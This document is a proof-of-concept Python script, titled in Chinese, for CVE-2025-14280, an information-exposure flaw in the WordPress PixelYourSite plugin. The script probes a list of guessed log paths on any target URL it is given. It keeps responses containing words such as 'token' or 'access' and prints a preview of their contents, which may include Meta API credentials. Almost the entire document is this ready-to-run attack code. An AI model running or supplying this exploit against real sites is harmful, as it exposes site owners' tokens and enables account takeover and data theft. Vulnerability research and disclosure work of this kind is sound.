CVE-2025-14280 WordPress PixelYourSite插件敏感信息泄露漏洞

# CVE-2025-14280 PoC - PixelYourSite Sensitive Information Exposure # Target: WordPress sites with PixelYourSite plugin # Condition: Meta API logs setting must be enabled import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if PixelYourSite plugin exposes sensitive log files """ # Common log file paths used by PixelYourSite log_paths = [ "/wp-content/uploads/pixelyoursite/logs/meta-api.log", "/wp-content/uploads/pys_logs/meta-api.log", "/wp-content/plugins/pixelyoursite/includes/logger/logs/meta-api.log", "/wp-content/uploads/2025/01/meta-api.log", "/wp-content/uploads/pixelyoursite/meta-api.log" ] print(f"[*] Scanning target: {target_url}") print(f"[*] Looking for exposed PixelYourSite log files...\n") found_logs = [] for log_path in log_paths: full_url = urljoin(target_url, log_path) try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: # Check if response contains log-like content content = response.text if any(keyword in content.lower() for keyword in ['meta', 'api', 'token', 'pixel', 'access']): print(f"[!] VULNERABLE: {full_url}") print(f" Status: {response.status_code}") print(f" Content length: {len(content)} bytes") found_logs.append({ 'url': full_url, 'status': response.status_code, 'size': len(content) }) # Display first 500 characters of log content print(f" Preview:\n{content[:500]}\n") except requests.RequestException as e: print(f"[-] Error accessing {full_url}: {e}") if not found_logs: print("[*] No exposed log files found (or Meta API logs is disabled)") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://example.com/") sys.exit(1) target = sys.argv[1] check_vulnerability(target)